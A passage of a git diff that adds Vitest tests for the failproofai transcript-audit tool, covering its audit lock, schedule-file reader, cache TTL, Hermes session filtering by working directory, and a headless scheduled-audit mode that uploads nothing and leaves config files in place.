read-only request handler. + it("returns null when the lock is free", () => { + expect(readActiveAuditLock()).toBeNull(); + }); + + it("returns a live holder inside the age ceiling", () => { + writeRawLock({ pid: process.pid, startedAt: Date.now(), source: "scheduled" }); + expect(readActiveAuditLock()).toMatchObject({ pid: process.pid, source: "scheduled" }); + }); + + it("reports a dead holder as NOT running (no wedged 'busy' state)", () => { + writeRawLock({ pid: deadPid(), startedAt: Date.now(), source: "cli" }); + expect(readActiveAuditLock()).toBeNull(); + }); + + it("reports an aged-out lock as NOT running even when its pid is alive", () => { + writeRawLock({ pid: process.pid, startedAt: Date.now() - AUDIT_LOCK_MAX_AGE_MS - 1_000, source: "cli" }); + expect(readActiveAuditLock()).toBeNull(); + }); + + it("reports an unreadable lock as NOT running", () => { + writeRawLock("{ not json"); + expect(readActiveAuditLock()).toBeNull(); + }); + + it("does NOT steal or delete the lock it reads", () => { + // Unlike acquire, a status read is side-effect free: a live foreign scan's + // lock must still be on disk, unchanged, after we describe it. + writeRawLock({ pid: process.pid, startedAt: Date.now(), source: "scheduled" }); + readActiveAuditLock(); + expect(existsSync(auditLockFile())).toBe(true); + expect(JSON.parse(readFileSync(auditLockFile(), "utf8")).source).toBe("scheduled"); + }); +}); diff --git a/__tests__/audit/audit-schedule.test.ts b/__tests__/audit/audit-schedule.test.ts new file mode 100644 index 00000000..44c83f42 --- /dev/null +++ b/__tests__/audit/audit-schedule.test.ts @@ -0,0 +1,123 @@ +// @vitest-environment node +/** + * The first (and only) TypeScript reader of the daemon-written + * `state/audit-schedule.json`. The daemon and the CLI ship independently, so + * this reader has to survive a file it did not write — a version ahead, a torn + * write, or simply absent — without ever throwing, because it feeds a settings + * page that must not blank out over one derived-state file. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, resolve } from "node:path"; +import { auditScheduleFile, stateDir } from "../../src/hooks/fp-home"; +import { readAuditSchedule, AUDIT_SCHEDULE_SCHEMA } from "../../src/audit/audit-schedule"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-schedule-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +function writeSchedule(contents: string): void { + mkdirSync(dirname(auditScheduleFile()), { recursive: true }); + writeFileSync(auditScheduleFile(), contents); +} + +describe("readAuditSchedule", () => { + it("returns null when the file is absent", () => { + // stateDir exists as a concept but the file was never written. + mkdirSync(stateDir(), { recursive: true }); + expect(readAuditSchedule()).toBeNull(); + }); + + it("reads a well-formed current-schema schedule", () => { + writeSchedule( + JSON.stringify({ + schema: AUDIT_SCHEDULE_SCHEMA, + next_due_at_ms: 1_000, + last_attempt_at_ms: 900, + last_run_at_ms: 800, + last_exit_code: 0, + }), + ); + expect(readAuditSchedule()).toEqual({ + schema: AUDIT_SCHEDULE_SCHEMA, + nextDueAtMs: 1_000, + lastAttemptAtMs: 900, + lastRunAtMs: 800, + lastExitCode: 0, + schemaAhead: false, + }); + }); + + it("defaults optional fields the daemon may omit to null", () => { + // The Rust side writes these with #[serde(default)]; a freshly-seeded + // schedule can carry only schema + next_due_at_ms. + writeSchedule(JSON.stringify({ schema: AUDIT_SCHEDULE_SCHEMA, next_due_at_ms: 42 })); + expect(readAuditSchedule()).toMatchObject({ + nextDueAtMs: 42, + lastAttemptAtMs: null, + lastRunAtMs: null, + lastExitCode: null, + }); + }); + + it("still reads shared fields from a schema a version AHEAD, and flags it", () => { + // The whole point: a newer daemon must not blank the settings page. Fields + // are read by name regardless of schema; schemaAhead only caveats the view. + writeSchedule( + JSON.stringify({ + schema: AUDIT_SCHEDULE_SCHEMA + 5, + next_due_at_ms: 2_000, + last_run_at_ms: 1_500, + some_future_field: "ignored", + }), + ); + const view = readAuditSchedule(); + expect(view).not.toBeNull(); + expect(view!.nextDueAtMs).toBe(2_000); + expect(view!.lastRunAtMs).toBe(1_500); + expect(view!.schemaAhead).toBe(true); + }); + + it("returns null on malformed JSON rather than throwing", () => { + writeSchedule("{ this is not json"); + expect(readAuditSchedule()).toBeNull(); + }); + + it("returns null when the top-level value is not an object", () => { + writeSchedule("[1,2,3]"); + expect(readAuditSchedule()).toBeNull(); + writeSchedule("null"); + expect(readAuditSchedule()).toBeNull(); + }); + + it("treats non-numeric fields as null instead of trusting them", () => { + writeSchedule( + JSON.stringify({ + schema: "1", + next_due_at_ms: "soon", + last_run_at_ms: null, + last_exit_code: 2, + }), + ); + expect(readAuditSchedule()).toEqual({ + schema: null, + nextDueAtMs: null, + lastAttemptAtMs: null, + lastRunAtMs: null, + lastExitCode: 2, + schemaAhead: false, + }); + }); +}); diff --git a/__tests__/audit/cache.test.ts b/__tests__/audit/cache.test.ts index 8dc74e4c..59802c07 100644 --- a/__tests__/audit/cache.test.ts +++ b/__tests__/audit/cache.test.ts @@ -10,7 +10,9 @@ import { readCachedTranscriptResult, writeCachedTranscriptResult, } from "../../src/audit/cache"; +import { DEFAULT_AUDIT_INTERVAL_DAYS } from "../../src/hooks/fp-config"; import type { TranscriptAuditResult } from "../../src/audit/types"; +import { auditCacheDir } from "../../src/hooks/fp-home"; const TRANSCRIPT_PATH = "/tmp/fake-transcript.jsonl"; const MTIME = 1_700_000_000_000; @@ -32,7 +34,7 @@ const FAKE_RESULT: TranscriptAuditResult = { function cachePathFor(transcriptPath: string): string { const key = createHash("sha1").update(transcriptPath).digest("hex"); - return join(homedir(), ".failproofai", "cache", "audit", `${key}.json`); + return join(auditCacheDir(), `${key}.json`); } describe("per-transcript audit cache", () => { @@ -80,14 +82,19 @@ describe("per-transcript audit cache", () => { expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, 0)).toBeNull(); }); - it("rejects entries older than the 7-day TTL", () => { - const eightDaysAgo = Date.now() - 8 * 24 * 60 * 60_000; - mkdirSync(join(tmpHome, ".failproofai", "cache", "audit"), { recursive: true }); + it("rejects entries older than the TTL", () => { + // Must be past CACHE_TTL_MS, not merely "old". At 8 days this silently + // stopped exercising the TTL the moment it moved to 30: the entry was still + // inside it, and the assertion only held because the fake engineVersion + // below fails an earlier check. Derived from the constant so it cannot + // drift out of agreement again. + const pastTtl = Date.now() - (CACHE_TTL_MS + 24 * 60 * 60_000); + mkdirSync(auditCacheDir(tmpHome), { recursive: true }); writeFileSync( cachePathFor(TRANSCRIPT_PATH), JSON.stringify({ schemaVersion: CACHE_SCHEMA_VERSION, - cachedAt: eightDaysAgo, + cachedAt: pastTtl, mtimeMs: MTIME, sizeBytes: SIZE, // engineVersion / detectorVersion intentionally absent — TTL check @@ -100,7 +107,7 @@ describe("per-transcript audit cache", () => { expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE)).toBeNull(); }); - it("accepts entries inside the 7-day TTL when the rest of the key matches", () => { + it("accepts entries inside the TTL when the rest of the key matches", () => { // Write through the official writer to populate the right // engine/detector hashes, then re-read immediately — Date.now() at // read time is within the TTL of Date.now() at write time. @@ -110,7 +117,7 @@ describe("per-transcript audit cache", () => { }); it("rejects a schema v2 entry (forces re-scan after upgrade)", () => { - mkdirSync(join(tmpHome, ".failproofai", "cache", "audit"), { recursive: true }); + mkdirSync(auditCacheDir(tmpHome), { recursive: true }); writeFileSync( cachePathFor(TRANSCRIPT_PATH), JSON.stringify({ @@ -127,7 +134,7 @@ describe("per-transcript audit cache", () => { }); it("rejects entries with a missing cachedAt field", () => { - mkdirSync(join(tmpHome, ".failproofai", "cache", "audit"), { recursive: true }); + mkdirSync(auditCacheDir(tmpHome), { recursive: true }); writeFileSync( cachePathFor(TRANSCRIPT_PATH), JSON.stringify({ @@ -143,7 +150,17 @@ describe("per-transcript audit cache", () => { expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE)).toBeNull(); }); - it("CACHE_TTL_MS is 7 days", () => { - expect(CACHE_TTL_MS).toBe(7 * 24 * 60 * 60_000); + it("CACHE_TTL_MS is 30 days, comfortably clear of the audit interval", () => { + expect(CACHE_TTL_MS).toBe(30 * 24 * 60 * 60_000); + }); + + it("does not expire within the scheduled-audit interval", () => { + // The real assertion, and why the number changed: the TTL used to be 7 days + // — exactly DEFAULT_AUDIT_INTERVAL_DAYS — so a scheduled run found every + // entry from the previous run already expired and cold-scanned the whole + // history every single time. Pinning the relationship rather than only the + // constant means lowering one without the other fails here. + const intervalMs = DEFAULT_AUDIT_INTERVAL_DAYS * 24 * 60 * 60_000; + expect(CACHE_TTL_MS).toBeGreaterThan(intervalMs * 2); }); }); diff --git a/__tests__/audit/dashboard-cache.test.ts b/__tests__/audit/dashboard-cache.test.ts index 98398621..2391e56d 100644 --- a/__tests__/audit/dashboard-cache.test.ts +++ b/__tests__/audit/dashboard-cache.test.ts @@ -11,6 +11,7 @@ import { DASHBOARD_CACHE_SCHEMA_VERSION, } from "../../src/audit/dashboard-cache"; import type { AuditResult } from "../../src/audit/types"; +import { auditDashboardFile, auditDir } from "../../src/hooks/fp-home"; const FAKE_RESULT: AuditResult = { version: 2, @@ -59,7 +60,7 @@ describe("dashboard cache", () => { it("writes mode 0600 on the file", () => { writeDashboardCache({}, FAKE_RESULT); - const cachePath = join(tmpHome, ".failproofai", "audit-dashboard.json"); + const cachePath = auditDashboardFile(tmpHome); expect(existsSync(cachePath)).toBe(true); const mode = statSync(cachePath).mode & 0o777; // Some filesystems (FAT, etc.) can't honor mode bits perfectly — just @@ -68,16 +69,16 @@ describe("dashboard cache", () => { }); it("returns null for a corrupt JSON cache file", () => { - const dir = join(tmpHome, ".failproofai"); + const dir = auditDir(tmpHome); mkdirSync(dir, { recursive: true }); - writeFileSync(join(dir, "audit-dashboard.json"), "{ not json", "utf-8"); + writeFileSync(auditDashboardFile(tmpHome), "{ not json", "utf-8"); expect(readDashboardCache()).toBeNull(); }); it("returns null when shape is wrong", () => { - const dir = join(tmpHome, ".failproofai"); + const dir = auditDir(tmpHome); mkdirSync(dir, { recursive: true }); - writeFileSync(join(dir, "audit-dashboard.json"), JSON.stringify({ foo: 1 }), "utf-8"); + writeFileSync(auditDashboardFile(tmpHome), JSON.stringify({ foo: 1 }), "utf-8"); expect(readDashboardCache()).toBeNull(); }); @@ -96,11 +97,11 @@ describe("dashboard cache", () => { }); it("rejects entries older than the 7-day TTL", () => { - const dir = join(tmpHome, ".failproofai"); + const dir = auditDir(tmpHome); mkdirSync(dir, { recursive: true }); const eightDaysAgo = new Date(Date.now() - 8 * 24 * 60 * 60_000).toISOString(); writeFileSync( - join(dir, "audit-dashboard.json"), + auditDashboardFile(tmpHome), JSON.stringify({ schemaVersion: DASHBOARD_CACHE_SCHEMA_VERSION, cachedAt: eightDaysAgo, @@ -113,11 +114,11 @@ describe("dashboard cache", () => { }); it("accepts entries inside the 7-day TTL", () => { - const dir = join(tmpHome, ".failproofai"); + const dir = auditDir(tmpHome); mkdirSync(dir, { recursive: true }); const sixDaysAgo = new Date(Date.now() - 6 * 24 * 60 * 60_000).toISOString(); writeFileSync( - join(dir, "audit-dashboard.json"), + auditDashboardFile(tmpHome), JSON.stringify({ schemaVersion: DASHBOARD_CACHE_SCHEMA_VERSION, cachedAt: sixDaysAgo, @@ -130,11 +131,11 @@ describe("dashboard cache", () => { }); it("readDashboardCacheMeta returns cachedAt even when the entry is expired", () => { - const dir = join(tmpHome, ".failproofai"); + const dir = auditDir(tmpHome); mkdirSync(dir, { recursive: true }); const eightDaysAgo = new Date(Date.now() - 8 * 24 * 60 * 60_000).toISOString(); writeFileSync( - join(dir, "audit-dashboard.json"), + auditDashboardFile(tmpHome), JSON.stringify({ schemaVersion: DASHBOARD_CACHE_SCHEMA_VERSION, cachedAt: eightDaysAgo, diff --git a/__tests__/audit/hermes-adapter-cwd.test.ts b/__tests__/audit/hermes-adapter-cwd.test.ts new file mode 100644 index 00000000..def7bc3f --- /dev/null +++ b/__tests__/audit/hermes-adapter-cwd.test.ts @@ -0,0 +1,136 @@ +// @vitest-environment node +// +// Hermes sessions carry a real working directory, and the audit adapter used to +// throw them all away. `listHermesTranscriptMetadata` opened with +// +// if (opts.projects && opts.projects.length > 0) return []; +// +// on the premise that "gateway sessions have no cwd" — so `failproofai audit +// --project ` silently reported zero Hermes findings for a repo the user +// had actually driven Hermes in. Nothing failed; Hermes just was not there. +// +// Verified against hermes-agent 0.19.0: `sessions` has real `cwd`, `git_branch` +// and `git_repo_root` columns, and every `source='cli'` session populated them. +// Slack/Telegram gateway sessions genuinely have none, so both shapes are built +// here and each is asserted separately. +import { describe, it, expect, beforeAll, afterAll } from "vitest"; +import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import initSqlJs from "sql.js/dist/sql-asm.js"; + +let root: string; +const prevHome = process.env.HERMES_HOME; +const prevDbPath = process.env.HERMES_DB_PATH; + +const CLI_ID = "20260803_080402_a54231"; // real hermes id format: not a UUID +const CLI_ID_2 = "20260803_080544_ae362c"; +const GATEWAY_ID = "20260803_081000_bb1122"; +const REPO = "/home/u/work/repo"; +const OTHER_REPO = "/home/u/work/other"; + +async function writeDb(path: string): Promise { + const SQL = await initSqlJs(); + const db = new SQL.Database(); + db.run( + "CREATE TABLE sessions (id TEXT PRIMARY KEY, source TEXT, cwd TEXT, title TEXT, " + + "user_id TEXT, chat_id TEXT, chat_type TEXT, started_at REAL, ended_at REAL, message_count INTEGER);", + ); + db.run( + "CREATE TABLE messages (id INTEGER PRIMARY KEY, session_id TEXT, role TEXT, content TEXT, " + + "tool_call_id TEXT, tool_calls TEXT, tool_name TEXT, timestamp REAL);", + ); + + // Two CLI sessions in different repos, and one gateway session with no cwd — + // gateway columns (chat_id/chat_type) are NULL on CLI rows, as observed live. + const rows: Array<[string, string, string | null, string, string | null, string | null, number]> = [ + [CLI_ID, "cli", REPO, "cli session", null, null, 1_785_744_000], + [CLI_ID_2, "cli", OTHER_REPO, "other repo session", null, null, 1_785_744_100], + [GATEWAY_ID, "slack", null, "gateway session", "C1", "dm", 1_785_744_200], + ]; + for (const [id, source, cwd, title, chatId, chatType, ts] of rows) { + db.run("INSERT INTO sessions VALUES (?,?,?,?,?,?,?,?,?,?)", [ + id, source, cwd, title, "U1", chatId, chatType, ts, ts + 10, 1, + ]); + db.run("INSERT INTO messages VALUES (?,?,?,?,?,?,?,?)", [ + null, id, "user", `hello from ${title}`, null, null, null, ts + 1, + ]); + } + + mkdirSync(join(path, ".."), { recursive: true }); + writeFileSync(path, Buffer.from(db.export())); + db.close(); +} + +beforeAll(async () => { + root = mkdtempSync(join(tmpdir(), "hermes-cwd-")); + await writeDb(join(root, "state.db")); + delete process.env.HERMES_DB_PATH; + process.env.HERMES_HOME = root; +}); + +afterAll(() => { + if (prevHome === undefined) delete process.env.HERMES_HOME; + else process.env.HERMES_HOME = prevHome; + if (prevDbPath === undefined) delete process.env.HERMES_DB_PATH; + else process.env.HERMES_DB_PATH = prevDbPath; + rmSync(root, { recursive: true, force: true }); +}); + +describe("hermes audit adapter — cwd-scoped listing", () => { + it("returns a session whose cwd matches the project filter", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata({ projects: [REPO] }); + // Was [] unconditionally — this is the whole bug. + expect(out.map((m) => m.sessionId)).toEqual([CLI_ID]); + }); + + it("excludes sessions from other repos", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata({ projects: [OTHER_REPO] }); + expect(out.map((m) => m.sessionId)).toEqual([CLI_ID_2]); + }); + + it("excludes cwd-less gateway sessions from any cwd filter", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata({ projects: [REPO, OTHER_REPO] }); + expect(out.map((m) => m.sessionId).sort()).toEqual([CLI_ID, CLI_ID_2].sort()); + expect(out.some((m) => m.sessionId === GATEWAY_ID)).toBe(false); + }); + + it("returns nothing for a project no Hermes session ran in", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata({ projects: ["/nowhere"] }); + expect(out).toEqual([]); + }); + + it("still returns every session when no project filter is given", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata(); + expect(out.map((m) => m.sessionId).sort()).toEqual([CLI_ID, CLI_ID_2, GATEWAY_ID].sort()); + }); +}); + +describe("hermes audit adapter — project grouping", () => { + it("groups a cwd-bearing session by its working directory", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const { encodeFolderName } = await import("@/lib/paths"); + const out = await listHermesTranscriptMetadata(); + const cli = out.find((m) => m.sessionId === CLI_ID)!; + expect(cli.projectName).toBe(encodeFolderName(REPO)); + }); + + it("keeps the (profile, source) bucket for a gateway session", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata(); + const gw = out.find((m) => m.sessionId === GATEWAY_ID)!; + // Unchanged behaviour for the sessions that really are cwd-less. + expect(gw.projectName).toBe("hermes:default:slack"); + }); + + it("keeps the hermes:// transcript path form for every session", async () => { + const { listHermesTranscriptMetadata } = await import("@/src/audit/cli-adapters/hermes"); + const out = await listHermesTranscriptMetadata(); + for (const m of out) expect(m.transcriptPath).toBe(`hermes://${m.sessionId}`); + }); +}); diff --git a/__tests__/audit/scheduled-audit.test.ts b/__tests__/audit/scheduled-audit.test.ts new file mode 100644 index 00000000..f0f7ed89 --- /dev/null +++ b/__tests__/audit/scheduled-audit.test.ts @@ -0,0 +1,362 @@ +// @vitest-environment node +/** + * The headless audit entry point and the lock it shares with the interactive one. + * + * Two things are being pinned here. First, `runScheduledAudit` must be a real + * second entry point — no TTY animation, no browser, no dashboard server left + * running — reporting through an exit code, because the process that spawns it + * has no other channel. Second, `failproofai audit` and the scheduled run must + * actually contend: all three audit entry points write the same sha1-keyed + * cache files, and until now the only lock lived inside the Next.js server + * where neither of these two could see it. + */ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { spawnSync } from "node:child_process"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { LAYOUT_VERSION } from "../../src/hooks/fp-home"; +import type { AuditResult } from "../../src/audit/types"; +import { acquireAuditLock } from "../../src/audit/audit-lock"; +import { auditLockFile } from "../../src/hooks/fp-home"; + +const h = vi.hoisted(() => ({ + trackHookEvent: vi.fn(), + runAudit: vi.fn(), + writeDashboardCache: vi.fn(() => true), + openWhenReady: vi.fn(), + launch: vi.fn(), +})); + +vi.mock("../../src/hooks/hook-telemetry", () => ({ trackHookEvent: h.trackHookEvent })); +vi.mock("../../src/audit/index", () => ({ runAudit: h.runAudit })); +vi.mock("../../src/audit/dashboard-cache", () => ({ writeDashboardCache: h.writeDashboardCache })); +vi.mock("../../src/audit/open-browser", () => ({ openWhenReady: h.openWhenReady })); +vi.mock("../../scripts/launch", () => ({ launch: h.launch })); +vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: () => "test-instance" })); + +import { runAuditCli, runScheduledAudit, EXIT_AUDIT_ALREADY_RUNNING } from "../../src/audit/cli"; + +function result(over: Partial = {}): AuditResult { + return { + version: 2, + scannedAt: "2026-08-05T00:00:00.000Z", + scope: { cli: ["claude"], projects: "all", since: null }, + transcripts: { scanned: 3, skipped: 0, errors: 0, durationMs: 0 }, + results: [], + totals: { hits: 0, projectsWithHits: 0 }, + projectsScanned: [], + eventsScanned: 100, + enabledBuiltinNames: [], + ...over, + }; +} + +let home: string; +let prevHome: string | undefined; +let exitCode: number | undefined; + +beforeEach(() => { + vi.clearAllMocks(); + h.trackHookEvent.mockImplementation(() => Promise.resolve()); + h.writeDashboardCache.mockReturnValue(true); + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-sched-")); + process.env.FAILPROOFAI_HOME = home; + exitCode = undefined; + vi.spyOn(process.stdout, "write").mockImplementation(() => true); + vi.spyOn(process.stderr, "write").mockImplementation(() => true); + vi.spyOn(process, "exit").mockImplementation(((code?: number) => { + exitCode = code; + throw new Error("__EXIT__"); + }) as never); +}); + +afterEach(() => { + vi.restoreAllMocks(); + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +const names = () => h.trackHookEvent.mock.calls.map((c) => c[1] as string); + +describe("runScheduledAudit", () => { + it("scans, caches, and exits 0 without touching a browser or a server", async () => { + h.runAudit.mockResolvedValue(result({ totals: { hits: 4, projectsWithHits: 2 } })); + + expect(await runScheduledAudit()).toBe(0); + + expect(h.writeDashboardCache).toHaveBeenCalledTimes(1); + // The whole point of the headless path: nothing here waits for a human. + expect(h.openWhenReady).not.toHaveBeenCalled(); + expect(h.launch).not.toHaveBeenCalled(); + expect(exitCode).toBeUndefined(); + }); + + it("reports the existing audit events tagged source=scheduled", async () => { + // Reusing cli_audit_* verbatim keeps every scheduled run comparable with the + // manual ones; `source` is the only thing that separates them. + h.runAudit.mockResolvedValue(result({ totals: { hits: 4, projectsWithHits: 2 } })); + + await runScheduledAudit(); + + expect(names()).toEqual(["cli_audit_started", "cli_audit_completed"]); + expect(h.trackHookEvent).toHaveBeenCalledWith("test-instance", "cli_audit_completed", { + source: "scheduled", + events_scanned: 100, + sessions_scanned: 3, + total_hits: 4, + findings: 0, + }); + }); + + it("awaits its telemetry — nothing keeps this process alive afterwards", async () => { + // Unlike runAuditCli there is no dashboard server holding the event loop + // open past the return, so a fire-and-forget send would simply be dropped. + const landed: string[] = []; + h.trackHookEvent.mockImplementation((_id: string, name: string) => + new Promise((res) => setTimeout(() => { landed.push(name); res(); }, 5)), + ); + h.runAudit.mockResolvedValue(result()); + + await runScheduledAudit(); + + expect(landed).toEqual(["cli_audit_started", "cli_audit_completed"]); + }); + + it("exits 1 and reports cli_audit_failed when the scan throws", async () => { + h.runAudit.mockRejectedValue(new TypeError("disk exploded")); + + expect(await runScheduledAudit()).toBe(1); + + expect(names()).toEqual(["cli_audit_started", "cli_audit_failed"]); + expect(h.trackHookEvent).toHaveBeenCalledWith("test-instance", "cli_audit_failed", { + source: "scheduled", + error_type: "TypeError", + error_message: "disk exploded", + }); + }); + + it("exits 1 when the result cannot be persisted", async () => { + // The cache is the only channel by which an unattended run reaches anyone. + h.runAudit.mockResolvedValue(result()); + h.writeDashboardCache.mockReturnValue(false); + + expect(await runScheduledAudit()).toBe(1); + }); + + it("does not overwrite a real cached audit with an empty scan", async () => { + // Unattended: a history rotation, or a service unit resolving HOME + // elsewhere, would otherwise blank the dashboard with nobody watching. + h.runAudit.mockResolvedValue( + result({ eventsScanned: 0, transcripts: { scanned: 0, skipped: 0, errors: 0, durationMs: 0 } }), + ); + + expect(await runScheduledAudit()).toBe(0); + expect(h.writeDashboardCache).not.toHaveBeenCalled(); + // Still counted — a machine with no agent history is a real outcome. + expect(names()).toEqual(["cli_audit_started", "cli_audit_completed"]); + }); + + it("exits 75 without scanning or reporting when another audit holds the lock", async () => { + acquireAuditLock("dashboard"); + + expect(await runScheduledAudit()).toBe(EXIT_AUDIT_ALREADY_RUNNING); + + expect(h.runAudit).not.toHaveBeenCalled(); + // A run that never started must not be counted as one that did. + expect(names()).toEqual([]); + }); + + it("releases the lock on both the success and the failure path", async () => { + h.runAudit.mockResolvedValue(result()); + await runScheduledAudit(); + expect(existsSync(auditLockFile())).toBe(false); + + h.runAudit.mockRejectedValue(new Error("nope")); + await runScheduledAudit(); + expect(existsSync(auditLockFile())).toBe(false); + }); +}); + +describe("the scan stays on this machine", () => { + it("uploads nothing, however much it finds", async () => { + // The scheduled scan reads the CONTENTS of every session transcript on + // disk — prompts, file contents, pasted credentials, command output. It + // once POSTed a counters-only projection of that to Failproof Cloud; that + // path is gone, and this pins that it does not come back by accident. + // + // `fetch` is the seam because it is the only way anything here reaches the + // network. The unit-test network guard in `__tests__/setup.ts` would also + // reject a real external call, but a spy states the intent locally and + // catches a POST to a loopback address too. + const fetchSpy = vi.spyOn(globalThis, "fetch"); + h.runAudit.mockResolvedValue(result({ totals: { hits: 12, projectsWithHits: 4 } })); + + expect(await runScheduledAudit()).toBe(0); + + expect(fetchSpy).not.toHaveBeenCalled(); + // Still does its real job: the dashboard cache is the channel the user sees. + expect(h.writeDashboardCache).toHaveBeenCalled(); + fetchSpy.mockRestore(); + }); +}); + +describe("`failproofai audit --scheduled`", () => { + it("routes to the headless path and exits with its code", async () => { + h.runAudit.mockResolvedValue(result()); + + await expect(runAuditCli(["--scheduled"])).rejects.toThrow("__EXIT__"); + + expect(exitCode).toBe(0); + expect(h.launch).not.toHaveBeenCalled(); + }); + + it("propagates the already-running code", async () => { + acquireAuditLock("cli"); + + await expect(runAuditCli(["--scheduled"])).rejects.toThrow("__EXIT__"); + + expect(exitCode).toBe(EXIT_AUDIT_ALREADY_RUNNING); + }); + + it("still rejects stray arguments", async () => { + // Adding a headless path must not turn `audit` into a command that quietly + // ignores whatever else it was handed. + await expect(runAuditCli(["--scheduled", "--since", "7d"])).rejects.toThrow("__EXIT__"); + expect(exitCode).toBe(1); + expect(h.runAudit).not.toHaveBeenCalled(); + }); +}); + +describe("the interactive `failproofai audit` shares the lock", () => { + it("refuses to start a second scan and exits 75", async () => { + acquireAuditLock("scheduled"); + + await expect(runAuditCli([])).rejects.toThrow("__EXIT__"); + + expect(exitCode).toBe(EXIT_AUDIT_ALREADY_RUNNING); + expect(h.runAudit).not.toHaveBeenCalled(); + expect(names()).toEqual([]); + }); + + it("releases the lock BEFORE parking on the dashboard", async () => { + // launch() keeps the process alive for as long as the user leaves the + // dashboard open. Holding the lock that long would block every scheduled + // run until the one-hour stale ceiling expired. + h.runAudit.mockResolvedValue(result()); + + await runAuditCli([]); + + expect(h.launch).toHaveBeenCalledWith("start"); + expect(existsSync(auditLockFile())).toBe(false); + }); + + it("takes the lock before any telemetry, so a refusal is never counted as a run", async () => { + // The order matters: acquiring after cli_audit_started would report a scan + // that never happened every time two audits collided. + acquireAuditLock("scheduled"); + await expect(runAuditCli([])).rejects.toThrow("__EXIT__"); + expect(h.trackHookEvent).not.toHaveBeenCalled(); + }); +}); + +/** + * The binary-level half of "headless". + * + * `runScheduledAudit` above is headless inside src/audit/cli.ts, but the daemon + * does not call it — it spawns `failproofai audit --scheduled`, so everything + * bin/failproofai.mjs does BEFORE dispatch runs unattended too. One of those + * things deletes config.toml and credentials.toml. These tests therefore drive + * the real binary as a subprocess, because that is the only place the bug lives. + */ +describe("the binary-level scheduled entry point", () => { + // Each case boots `bun` and, in one case, runs a real scan. Vitest's 5s default + // is fine for these in isolation and not fine when the whole suite is running + // in parallel around them, which is the only way CI ever sees them. + const SUBPROCESS_TIMEOUT_MS = 120_000; + const REPO_ROOT = resolve(__dirname, "../.."); + let box: string; + + /** A home the CLI will read as an older layout: markers, but no VERSION. */ + function staleHome(): string { + const home = mkdtempSync(resolve(tmpdir(), "fpai-stale-")); + const fp = resolve(home, ".failproofai"); + mkdirSync(fp, { recursive: true }); + writeFileSync( + resolve(fp, "config.toml"), + '[mode]\nkind = "cloud"\n\n[telemetry]\nenabled = false\n\n[audit]\nauto = true\ninterval_days = 7\n', + ); + writeFileSync(resolve(fp, "credentials.toml"), '[cloud]\ntoken = "secret-token"\n'); + // A layout-1 landmark, which is what makes `detectLayout` say "stale". + writeFileSync(resolve(fp, "policies-config.json"), "{}\n"); + return home; + } + + function run(home: string, ...args: string[]) { + return spawnSync("bun", [resolve(REPO_ROOT, "bin/failproofai.mjs"), ...args], { + env: { + ...process.env, + HOME: home, + USERPROFILE: home, + FAILPROOFAI_HOME: resolve(home, ".failproofai"), + FAILPROOFAI_TELEMETRY_DISABLED: "1", + }, + encoding: "utf8", + timeout: 120_000, + }); + } + + afterEach(() => { + if (box) rmSync(box, { recursive: true, force: true }); + }); + + it("reports a stale layout instead of resetting it", () => { + // The failure this prevents: the reset deletes config.toml and + // credentials.toml, so one unattended tick silently revokes the user's + // `[telemetry] enabled = false`, drops their cloud enrolment, and switches + // off `[audit] auto` — the setting that scheduled the run. Nobody is + // watching, and the explanation goes only to the service journal. + box = staleHome(); + const fp = resolve(box, ".failproofai"); + + const out = run(box, "audit", "--scheduled"); + + expect(out.status).toBe(1); + expect(out.stderr).toContain("failproofai config"); + expect(existsSync(resolve(fp, "config.toml"))).toBe(true); + expect(readFileSync(resolve(fp, "config.toml"), "utf8")).toContain("auto = true"); + expect(readFileSync(resolve(fp, "config.toml"), "utf8")).toContain("enabled = false"); + expect(readFileSync(resolve(fp, "credentials.toml"), "utf8")).toContain("secret-token"); + }, SUBPROCESS_TIMEOUT_MS); + + it("still resets a stale layout for a command a human typed", () => { + // The guard must be specific to the unattended path. An interactive command + // resetting an old home — visibly, with the reason on screen — is the + // behaviour the layout mechanism exists for, and it must not be collateral. + box = staleHome(); + const fp = resolve(box, ".failproofai"); + + const out = run(box, "policies"); + + expect(out.stderr).toContain("reorganised"); + expect(existsSync(resolve(fp, "config.toml"))).toBe(false); + }, SUBPROCESS_TIMEOUT_MS); + + it("runs the scan on a home whose layout is current", () => { + // The other direction: the guard must not be "the scheduled run never + // works". A current home scans and reports normally. + box = mkdtempSync(resolve(tmpdir(), "fpai-current-")); + 